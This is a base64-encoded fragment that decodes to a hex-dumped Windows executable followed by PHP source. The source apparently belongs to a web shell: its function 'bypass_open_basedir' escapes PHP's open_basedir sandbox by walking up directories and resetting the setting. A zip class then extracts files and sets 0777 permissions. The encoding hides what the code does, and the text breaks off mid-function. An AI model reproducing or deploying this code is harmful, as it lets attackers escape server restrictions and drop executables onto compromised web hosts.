wMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDMyQTJERjJEOTkyQjAwMDBDRDVEMjBEMjY2RDRGRkZGRkZGRkZGRkZGRkZGRkZGRjAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAyMDExMDAwMDcyMTEwMDAwMkMzNDAwMDA4MDExMDAwMEFDMTIwMDAwMjAzNDAwMDBCMDEyMDAwMEM4MTIwMDAwNzgzMzAwMDBEMDEyMDAwMDRFMTMwMDAwMTgzMzAwMDBDMDEzMDAwMEQ4MTMwMDAwNzgzMzAwMDBFMDEzMDAwMDBGMTQwMDAwMDQzNDAwMDAwRjE0MDAwMDU4MTQwMDAwRjAzMzAwMDA1ODE0MDAwMEJFMTQwMDAwREMzMzAwMDBCRTE0MDAwMEQ0MTQwMDAwQ0MzMzAwMDBENDE0MDAwMDFCMTUwMDAwQkMzMzAwMDA0MDE1MDAwMEQ3MTUwMDAwQUMzMzAwMDBFMDE1MDAwMEYyMTUwMDAwOEMzMzAwMDA0MDE2MDAwMDlFMTYwMDAwMzgzNDAwMDBBMDE2MDAwMEY5MTgwMDAwQzAzMjAwMDBGQzE4MDAwMDMxMUEwMDAwREMzMjAwMDAzNDFBMDAwMDcxMUEwMDAwMTgzMzAwMDA3NDFBMDAwMEJFMUIwMDAwMjgzMzAwMDBDQzFCMDAwMDdDMUMwMDAwMzgzMzAwMDA3QzFDMDAwMDkzMUMwMDAwNzgzMzAwMDA5NDFDMDAwMENDMUMwMDAwMjAzNDAwMDBDQzFDMDAwMDA0MUQwMDAwMjAzNDAwMDA5MDFEMDAwMEQxMUQwMDAwNTgzMzAwMDBGMDFEMDAwMDEzMUUwMDAwNzgzMzAwMDAxNDFFMDAwMEM3MUUwMDAwODAzMzAwMDBGNDFFMDAwMDU3MUYwMDAwMzgzNDAwMDA1ODFGMDAwMDc1MUYwMDAwNzgzMzAwMDA4MDFGMDAwMEEzMUYwMDAwMzAzMzAwMDBCMDFGMDAwMEM5MUYwMDAwMzAzMzAwMDBDOTFGMDAwMEUyMUYwMDAwMzAzMzAwMDBGMDFGMDAwMDExMjAwMDAwMzAzMzAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDA0MDAwMDAwMDAwMDAxMDAxODAwMDAwMDE4MDAwMDgwMDAwMDAwMDAwMDAwMDAwMDA0MDAwMDAwMDAwMDAxMDAwMjAwMDAwMDMwMDAwMDgwMDAwMDAwMDAwMDAwMDAwMDA0MDAwMDAwMDAwMDAxMDAwOTA0MDAwMDQ4MDAwMDAwNTg2MDAwMDA1ODAyMDAwMEU0MDQwMDAwMDAwMDAwMDAzQzYxNzM3MzY1NkQ2MjZDNzkyMDc4NkQ2QzZFNzMzRDIyNzU3MjZFM0E3MzYzNjg2NTZENjE3MzJENkQ2OTYzNzI2RjczNkY2Njc0MkQ2MzZGNkQzQTYxNzM2RDJFNzYzMTIyMjA2RDYxNkU2OTY2NjU3Mzc0NTY2NTcyNzM2OTZGNkUzRDIyMzEyRTMwMjIzRTBEMEEyMDIwM0M3NDcyNzU3Mzc0NDk2RTY2NkYyMDc4NkQ2QzZFNzMzRDIyNzU3MjZFM0E3MzYzNjg2NTZENjE3MzJENkQ2OTYzNzI2RjczNkY2Njc0MkQ2MzZGNkQzQTYxNzM2RDJFNzYzMzIyM0UwRDBBMjAyMDIwMjAzQzczNjU2Mzc1NzI2OTc0NzkzRTBEMEEyMDIwMjAyMDIwMjAzQzcyNjU3MTc1NjU3Mzc0NjU2NDUwNzI2OTc2Njk2QzY1Njc2NTczM0UwRDBBMjAyMDIwMjAyMDIwMjAyMDNDNzI2NTcxNzU2NTczNzQ2NTY0NDU3ODY1NjM3NTc0Njk2RjZFNEM2NTc2NjU2QzIwNkM2NTc2NjU2QzNEMjI2MTczNDk2RTc2NkY2QjY1NzIyMjIwNzU2OTQxNjM2MzY1NzM3MzNEMjI2NjYxNkM3MzY1MjIzRTNDMkY3MjY1NzE3NTY1NzM3NDY1NjQ0NTc4NjU2Mzc1NzQ2OTZGNkU0QzY1NzY2NTZDM0UwRDBBMjAyMDIwMjAyMDIwM0MyRjcyNjU3MTc1NjU3Mzc0NjU2NDUwNzI2OTc2Njk2QzY1Njc2NTczM0UwRDBBMjAyMDIwMjAzQzJGNzM2NTYzNzU3MjY5NzQ3OTNFMEQwQTIwMjAzQzJGNzQ3Mjc1NzM3NDQ5NkU2NjZGM0UwRDBBMjAyMDNDNjQ2NTcwNjU2RTY0NjU2RTYzNzkzRTBEMEEyMDIwMjAyMDNDNjQ2NTcwNjU2RTY0NjU2RTc0NDE3MzczNjU2RDYyNkM3OTNFMEQwQTIwMjAyMDIwMjAyMDNDNjE3MzczNjU2RDYyNkM3OTQ5NjQ2NTZFNzQ2OTc0NzkyMDc0Nzk3MDY1M0QyMjc3Njk2RTMzMzIyMjIwNkU2MTZENjUzRDIyNEQ2OTYzNzI2RjczNkY2Njc0MkU1NjQzMzkzMDJFNDM1MjU0MjIyMDc2NjU3MjczNjk2RjZFM0QyMjM5MkUzMDJFMzIzMTMwMzIzMjJFMzgyMjIwNzA3MjZGNjM2NTczNzM2RjcyNDE3MjYzNjg2OTc0NjU2Mzc0NzU3MjY1M0QyMjYxNkQ2NDM2MzQyMjIwNzA3NTYyNkM2OTYzNEI2NTc5NTQ2RjZCNjU2RTNEMjIzMTY2NjMzODYyMzM2MjM5NjEzMTY1MzEzODY1MzM2MjIyM0UzQzJGNjE3MzczNjU2RDYyNkM3OTQ5NjQ2NTZFNzQ2OTc0NzkzRTBEMEEyMDIwMjAyMDNDMkY2NDY1NzA2NTZFNjQ2NTZFNzQ0MTczNzM2NTZENjI2Qzc5M0UwRDBBMjAyMDNDMkY2NDY1NzA2NTZFNjQ2NTZFNjM3OTNFMEQwQTNDMkY2MTczNzM2NTZENjI2Qzc5M0U1MDQxNDQ0NDQ5NEU0NzU4NTg1MDQxNDQ0NDQ5NEU0NzUwNDE0NDQ0NDk0RTQ3NTg1ODUwNDE0NDQ0NDk0RTQ3NTA0MTQ0NDQ0OTRFNDc1ODU4NTA0MTQ0NDQ0OTRFNDc1MDQxNDQ0NDQ5NEU0NzU4NTg1MDQxNDQ0NDQ5NEU0NzUwNDE0NDQ0NDk0RTQ3NTg1ODUwNDE0NDQ0NDk0RTQ3NTA0MTQ0NDQ0OTRFNDc1ODU4NTA0MTQ0NDQ0OTRFNDc1MDQxNDQ0NDQ5NEU0NzU4NTg1MDQxNDQ0NDQ5NEU0NzUwNDE0NDQ0NDk0RTQ3NTg1ODUwNDE0NDQ0NDk0RTQ3NTA0MTQ0NDQ0OTRFNDc1ODU4NTA0MTQ0NDQ0OTRFNDc1MDQxNDQ0NDQ5NEU0NzU4NTg1MDQxNDQ0NDQ5NEU0NzUwNDE0NDQ0NDk0RTQ3NTg1ODUwNDE0NDQ0NDk0RTQ3NTA0MTQ0NDQ0OTRFNDc1ODU4NTA0MTQ0NDQ0OTRFNDc1MDQxNDQ0NDQ5NEU0NzU4NTg1MDQxNDQ0NDQ5NEU0NzUwNDE0NDQ0NDk0RTQ3NTg1ODUwNDE0NDQ0NDk0RTQ3NTA0MTQ0NDQ0OTRFNDc1ODU4NTA0MTQ0NDQ0OTRFNDc1MDQxNDQ0NDQ5NEU0NzU4NTg1MDQxNDQ0NDQ5NEU0NzUwNDE0NDQ0NDk0RTQ3NTg1ODUwNDE0NDQ0NDk0RTQ3NTA0MTQ0NDQ0OTRFNDc1ODU4NTA0MTQ0NDQ0OTRFNDc1MDQxNDQ0NDQ5NEU0NzU4NTg1MDQxNDQ0NDQ5NEU0NzUwNDE0NDQ0NDk0RTQ3NTg1ODUwNDE0NDQ0NDk0RTQ3NTA0MTQ0NDQ0OTRFNDc1ODU4NTA0MTQ0NDQ0OTRFNDcwMDMwMDAwMDEwMDAwMDAwODhBMUEwQTFBOEExMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwIjsKfQoKZnVuY3Rpb24gYnlwYXNzX29wZW5fYmFzZWRpcigpewogICAgaWYgKCFmaWxlX2V4aXN0cygnNzBiZjI3NDk1ZGYxYzBjOCcpKSB7CiAgICAgICAgbWtkaXIoJzcwYmYyNzQ5NWRmMWMwYzgnKTsKICAgIH0KICAgIGNoZGlyKCc3MGJmMjc0OTVkZjFjMGM4Jyk7CiAgICBpbmlfc2V0KCdvcGVuX2Jhc2VkaXInLCAnLi4nKTsKICAgICRmaWxlTmFtZSA9IEBkaXJuYW1lKCRfU0VSVkVSWydTQ1JJUFRfRklMRU5BTUUnXSk7CiAgICAkcGF0aCA9IHN0cl9yZXBsYWNlKCJcXCIsICcvJywgJGZpbGVOYW1lKTsKICAgICRudW0gPSBzdWJzdHJfY291bnQoJHBhdGgsICcvJykgKyAxOwogICAgJGkgPSAwOwogICAgd2hpbGUgKCRpIDwgJG51bSkgewogICAgICAgIGNoZGlyKCcuLicpOwogICAgICAgICRpKys7CiAgICB9CiAgICBpbmlfc2V0KCdvcGVuX2Jhc2VkaXInLCAnLycpOwogICAgcm1kaXIoJGZpbGVOYW1lIC4gJy8nIC4gJzcwYmYyNzQ5NWRmMWMwYzgnKTsKfQoKY2xhc3MgemlwCnsKCiAgICB2YXIgJHRvdGFsX2ZpbGVzID0gMDsKICAgIHZhciAkdG90YWxfZm9sZGVycyA9IDA7CgogICAgZnVuY3Rpb24gRXh0cmFjdCgkem4sICR0bywgJGluZGV4ID0gQXJyYXkoLTEpKQogICAgewogICAgICAgICRvayA9IDA7CiAgICAgICAgJHppcCA9IEBmb3Blbigkem4sICdyYicpOwogICAgICAgIGlmICghJHppcCkgcmV0dXJuICgtMSk7CiAgICAgICAgJGNkaXIgPSAkdGhpcy0+UmVhZENlbnRyYWxEaXIoJHppcCwgJHpuKTsKICAgICAgICAkcG9zX2VudHJ5ID0gJGNkaXJbJ29mZnNldCddOwoKICAgICAgICBpZiAoIWlzX2FycmF5KCRpbmRleCkpIHsKICAgICAgICAgICAgJGluZGV4ID0gYXJyYXkoJGluZGV4KTsKICAgICAgICB9CiAgICAgICAgZm9yICgkaSA9IDA7ICRpbmRleFskaV07ICRpKyspIHsKICAgICAgICAgICAgaWYgKGludHZhbCgkaW5kZXhbJGldKSAhPSAkaW5kZXhbJGldIHx8ICRpbmRleFskaV0gPiAkY2RpclsnZW50cmllcyddKQogICAgICAgICAgICAgICAgcmV0dXJuICgtMSk7CiAgICAgICAgfQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8ICRjZGlyWydlbnRyaWVzJ107ICRpKyspIHsKICAgICAgICAgICAgQGZzZWVrKCR6aXAsICRwb3NfZW50cnkpOwogICAgICAgICAgICAkaGVhZGVyID0gJHRoaXMtPlJlYWRDZW50cmFsRmlsZUhlYWRlcnMoJHppcCk7CiAgICAgICAgICAgICRoZWFkZXJbJ2luZGV4J10gPSAkaTsKICAgICAgICAgICAgJHBvc19lbnRyeSA9IGZ0ZWxsKCR6aXApOwogICAgICAgICAgICBAcmV3aW5kKCR6aXApOwogICAgICAgICAgICBmc2VlaygkemlwLCAkaGVhZGVyWydvZmZzZXQnXSk7CiAgICAgICAgICAgIGlmIChpbl9hcnJheSgiLTEiLCAkaW5kZXgpIHx8IGluX2FycmF5KCRpLCAkaW5kZXgpKQogICAgICAgICAgICAgICAgJHN0YXRbJGhlYWRlclsnZmlsZW5hbWUnXV0gPSAkdGhpcy0+RXh0cmFjdEZpbGUoJGhlYWRlciwgJHRvLCAkemlwKTsKICAgICAgICB9CiAgICAgICAgZmNsb3NlKCR6aXApOwogICAgICAgIHJldHVybiAkc3RhdDsKICAgIH0KCiAgICBmdW5jdGlvbiBSZWFkRmlsZUhlYWRlcigkemlwKQogICAgewogICAgICAgICRiaW5hcnlfZGF0YSA9IGZyZWFkKCR6aXAsIDMwKTsKICAgICAgICAkZGF0YSA9IHVucGFjaygndmNoay92aWQvdnZlcnNpb24vdmZsYWcvdmNvbXByZXNzaW9uL3ZtdGltZS92bWRhdGUvVmNyYy9WY29tcHJlc3NlZF9zaXplL1ZzaXplL3ZmaWxlbmFtZV9sZW4vdmV4dHJhX2xlbicsICRiaW5hcnlfZGF0YSk7CgogICAgICAgICRoZWFkZXJbJ2ZpbGVuYW1lJ10gPSBmcmVhZCgkemlwLCAkZGF0YVsnZmlsZW5hbWVfbGVuJ10pOwogICAgICAgIGlmICgkZGF0YVsnZXh0cmFfbGVuJ10gIT0gMCkgewogICAgICAgICAgICAkaGVhZGVyWydleHRyYSddID0gZnJlYWQoJHppcCwgJGRhdGFbJ2V4dHJhX2xlbiddKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkaGVhZGVyWydleHRyYSddID0gJyc7CiAgICAgICAgfQoKICAgICAgICAkaGVhZGVyWydjb21wcmVzc2lvbiddID0gJGRhdGFbJ2NvbXByZXNzaW9uJ107CiAgICAgICAgJGhlYWRlclsnc2l6ZSddID0gJGRhdGFbJ3NpemUnXTsKICAgICAgICAkaGVhZGVyWydjb21wcmVzc2VkX3NpemUnXSA9ICRkYXRhWydjb21wcmVzc2VkX3NpemUnXTsKICAgICAgICAkaGVhZGVyWydjcmMnXSA9ICRkYXRhWydjcmMnXTsKICAgICAgICAkaGVhZGVyWydmbGFnJ10gPSAkZGF0YVsnZmxhZyddOwogICAgICAgICRoZWFkZXJbJ21kYXRlJ10gPSAkZGF0YVsnbWRhdGUnXTsKICAgICAgICAkaGVhZGVyWydtdGltZSddID0gJGRhdGFbJ210aW1lJ107CgogICAgICAgIGlmICgkaGVhZGVyWydtZGF0ZSddICYmICRoZWFkZXJbJ210aW1lJ10pIHsKICAgICAgICAgICAgJGhvdXIgPSAoJGhlYWRlclsnbXRpbWUnXSAmIDB4RjgwMCkgPj4gMTE7CiAgICAgICAgICAgICRtaW51dGUgPSAoJGhlYWRlclsnbXRpbWUnXSAmIDB4MDdFMCkgPj4gNTsKICAgICAgICAgICAgJHNlY29uZGUgPSAoJGhlYWRlclsnbXRpbWUnXSAmIDB4MDAxRikgKiAyOwogICAgICAgICAgICAkeWVhciA9ICgoJGhlYWRlclsnbWRhdGUnXSAmIDB4RkUwMCkgPj4gOSkgKyAxOTgwOwogICAgICAgICAgICAkbW9udGggPSAoJGhlYWRlclsnbWRhdGUnXSAmIDB4MDFFMCkgPj4gNTsKICAgICAgICAgICAgJGRheSA9ICRoZWFkZXJbJ21kYXRlJ10gJiAweDAwMUY7CiAgICAgICAgICAgICRoZWFkZXJbJ210aW1lJ10gPSBta3RpbWUoJGhvdXIsICRtaW51dGUsICRzZWNvbmRlLCAkbW9udGgsICRkYXksICR5ZWFyKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkaGVhZGVyWydtdGltZSddID0gdGltZSgpOwogICAgICAgIH0KCiAgICAgICAgJGhlYWRlclsnc3RvcmVkX2ZpbGVuYW1lJ10gPSAkaGVhZGVyWydmaWxlbmFtZSddOwogICAgICAgICRoZWFkZXJbJ3N0YXR1cyddID0gIm9rIjsKICAgICAgICByZXR1cm4gJGhlYWRlcjsKICAgIH0KCiAgICBmdW5jdGlvbiBSZWFkQ2VudHJhbEZpbGVIZWFkZXJzKCR6aXApCiAgICB7CiAgICAgICAgJGJpbmFyeV9kYXRhID0gZnJlYWQoJHppcCwgNDYpOwogICAgICAgICRoZWFkZXIgPSB1bnBhY2soJ3ZjaGtpZC92aWQvdnZlcnNpb24vdnZlcnNpb25fZXh0cmFjdGVkL3ZmbGFnL3Zjb21wcmVzc2lvbi92bXRpbWUvdm1kYXRlL1ZjcmMvVmNvbXByZXNzZWRfc2l6ZS9Wc2l6ZS92ZmlsZW5hbWVfbGVuL3ZleHRyYV9sZW4vdmNvbW1lbnRfbGVuL3ZkaXNrL3ZpbnRlcm5hbC9WZXh0ZXJuYWwvVm9mZnNldCcsICRiaW5hcnlfZGF0YSk7CgogICAgICAgIGlmICgkaGVhZGVyWydmaWxlbmFtZV9sZW4nXSAhPSAwKQogICAgICAgICAgICAkaGVhZGVyWydmaWxlbmFtZSddID0gZnJlYWQoJHppcCwgJGhlYWRlclsnZmlsZW5hbWVfbGVuJ10pOwogICAgICAgIGVsc2UgJGhlYWRlclsnZmlsZW5hbWUnXSA9ICcnOwoKICAgICAgICBpZiAoJGhlYWRlclsnZXh0cmFfbGVuJ10gIT0gMCkKICAgICAgICAgICAgJGhlYWRlclsnZXh0cmEnXSA9IGZyZWFkKCR6aXAsICRoZWFkZXJbJ2V4dHJhX2xlbiddKTsKICAgICAgICBlbHNlICRoZWFkZXJbJ2V4dHJhJ10gPSAnJzsKCiAgICAgICAgaWYgKCRoZWFkZXJbJ2NvbW1lbnRfbGVuJ10gIT0gMCkKICAgICAgICAgICAgJGhlYWRlclsnY29tbWVudCddID0gZnJlYWQoJHppcCwgJGhlYWRlclsnY29tbWVudF9sZW4nXSk7CiAgICAgICAgZWxzZSAkaGVhZGVyWydjb21tZW50J10gPSAnJzsKCiAgICAgICAgaWYgKCRoZWFkZXJbJ21kYXRlJ10gJiYgJGhlYWRlclsnbXRpbWUnXSkgewogICAgICAgICAgICAkaG91ciA9ICgkaGVhZGVyWydtdGltZSddICYgMHhGODAwKSA+PiAxMTsKICAgICAgICAgICAgJG1pbnV0ZSA9ICgkaGVhZGVyWydtdGltZSddICYgMHgwN0UwKSA+PiA1OwogICAgICAgICAgICAkc2Vjb25kZSA9ICgkaGVhZGVyWydtdGltZSddICYgMHgwMDFGKSAqIDI7CiAgICAgICAgICAgICR5ZWFyID0gKCgkaGVhZGVyWydtZGF0ZSddICYgMHhGRTAwKSA+PiA5KSArIDE5ODA7CiAgICAgICAgICAgICRtb250aCA9ICgkaGVhZGVyWydtZGF0ZSddICYgMHgwMUUwKSA+PiA1OwogICAgICAgICAgICAkZGF5ID0gJGhlYWRlclsnbWRhdGUnXSAmIDB4MDAxRjsKICAgICAgICAgICAgJGhlYWRlclsnbXRpbWUnXSA9IG1rdGltZSgkaG91ciwgJG1pbnV0ZSwgJHNlY29uZGUsICRtb250aCwgJGRheSwgJHllYXIpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRoZWFkZXJbJ210aW1lJ10gPSB0aW1lKCk7CiAgICAgICAgfQogICAgICAgICRoZWFkZXJbJ3N0b3JlZF9maWxlbmFtZSddID0gJGhlYWRlclsnZmlsZW5hbWUnXTsKICAgICAgICAkaGVhZGVyWydzdGF0dXMnXSA9ICdvayc7CiAgICAgICAgaWYgKHN1YnN0cigkaGVhZGVyWydmaWxlbmFtZSddLCAtMSkgPT0gJy8nKQogICAgICAgICAgICAkaGVhZGVyWydleHRlcm5hbCddID0gMHg0MUZGMDAxMDsKICAgICAgICByZXR1cm4gJGhlYWRlcjsKICAgIH0KCiAgICBmdW5jdGlvbiBSZWFkQ2VudHJhbERpcigkemlwLCAkemlwX25hbWUpCiAgICB7CiAgICAgICAgJHNpemUgPSBmaWxlc2l6ZSgkemlwX25hbWUpOwoKICAgICAgICBpZiAoJHNpemUgPCAyNzcpICRtYXhpbXVtX3NpemUgPSAkc2l6ZTsKICAgICAgICBlbHNlICRtYXhpbXVtX3NpemUgPSAyNzc7CgogICAgICAgIEBmc2VlaygkemlwLCAkc2l6ZSAtICRtYXhpbXVtX3NpemUpOwogICAgICAgICRwb3MgPSBmdGVsbCgkemlwKTsKICAgICAgICAkYnl0ZXMgPSAweDAwMDAwMDAwOwoKICAgICAgICB3aGlsZSAoJHBvcyA8ICRzaXplKSB7CiAgICAgICAgICAgICRieXRlID0gQGZyZWFkKCR6aXAsIDEpOwogICAgICAgICAgICAkYnl0ZXMgPSAoJGJ5dGVzIDw8IDgpIHwgb3JkKCRieXRlKTsKICAgICAgICAgICAgaWYgKCRieXRlcyA9PSAweDUwNGIwNTA2IG9yICRieXRlcyA9PSAweDJlNzA2ODcwNTA0YjA1MDYpIHsKICAgICAgICAgICAgICAgICRwb3MrKzsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRwb3MrKzsKICAgICAgICB9CgogICAgICAgICRmZGF0YSA9IGZyZWFkKCR6aXAsIDE4KTsKCiAgICAgICAgJGRhdGEgPSBAdW5wYWNrKCd2ZGlzay92ZGlza19zdGFydC92ZGlza19lbnRyaWVzL3ZlbnRyaWVzL1ZzaXplL1ZvZmZzZXQvdmNvbW1lbnRfc2l6ZScsICRmZGF0YSk7CgogICAgICAgIGlmICgkZGF0YVsnY29tbWVudF9zaXplJ10gIT0gMCkgJGNlbnRkWydjb21tZW50J10gPSBmcmVhZCgkemlwLCAkZGF0YVsnY29tbWVudF9zaXplJ10pOwogICAgICAgIGVsc2UgJGNlbnRkWydjb21tZW50J10gPSAnJzsKICAgICAgICAkY2VudGRbJ2VudHJpZXMnXSA9ICRkYXRhWydlbnRyaWVzJ107CiAgICAgICAgJGNlbnRkWydkaXNrX2VudHJpZXMnXSA9ICRkYXRhWydkaXNrX2VudHJpZXMnXTsKICAgICAgICAkY2VudGRbJ29mZnNldCddID0gJGRhdGFbJ29mZnNldCddOwogICAgICAgICRjZW50ZFsnZGlza19zdGFydCddID0gJGRhdGFbJ2Rpc2tfc3RhcnQnXTsKICAgICAgICAkY2VudGRbJ3NpemUnXSA9ICRkYXRhWydzaXplJ107CiAgICAgICAgJGNlbnRkWydkaXNrJ10gPSAkZGF0YVsnZGlzayddOwogICAgICAgIHJldHVybiAkY2VudGQ7CiAgICB9CgogICAgZnVuY3Rpb24gRXh0cmFjdEZpbGUoJGhlYWRlciwgJHRvLCAkemlwKQogICAgewogICAgICAgICRoZWFkZXIgPSAkdGhpcy0+cmVhZGZpbGVoZWFkZXIoJHppcCk7CgogICAgICAgIGlmIChzdWJzdHIoJHRvLCAtMSkgIT0gIi8iKSAkdG8gLj0gIi8iOwogICAgICAgIGlmICgkdG8gPT0gJy4vJykgJHRvID0gJyc7CiAgICAgICAgJHB0aCA9IGV4cGxvZGUoIi8iLCAkdG8gLiAkaGVhZGVyWydmaWxlbmFtZSddKTsKICAgICAgICAkbXlkaXIgPSAnJzsKICAgICAgICBmb3IgKCRpID0gMDsgJGkgPCBjb3VudCgkcHRoKSAtIDE7ICRpKyspIHsKICAgICAgICAgICAgaWYgKCEkcHRoWyRpXSkgY29udGludWU7CiAgICAgICAgICAgICRteWRpciAuPSAkcHRoWyRpXSAuICIvIjsKICAgICAgICAgICAgaWYgKCghaXNfZGlyKCRteWRpcikgJiYgQG1rZGlyKCRteWRpciwgMDc3NykpIHx8ICgoJG15ZGlyID09ICR0byAuICRoZWFkZXJbJ2ZpbGVuYW1lJ10gfHwgKCRteWRpciA9PSAkdG8gJiYgJHRoaXMtPnRvdGFsX2ZvbGRlcnMgPT0gMCkpICYmIGlzX2RpcigkbXlkaXIpKSkgewogICAgICAgICAgICAgICAgQGNobW9kKCRteWRpciwgMDc3Nyk7CiAgICAgICAgICAgICAgICAkdGhpcy0+dG90YWxfZm9sZGVycysrOwogICAgICAgICAgI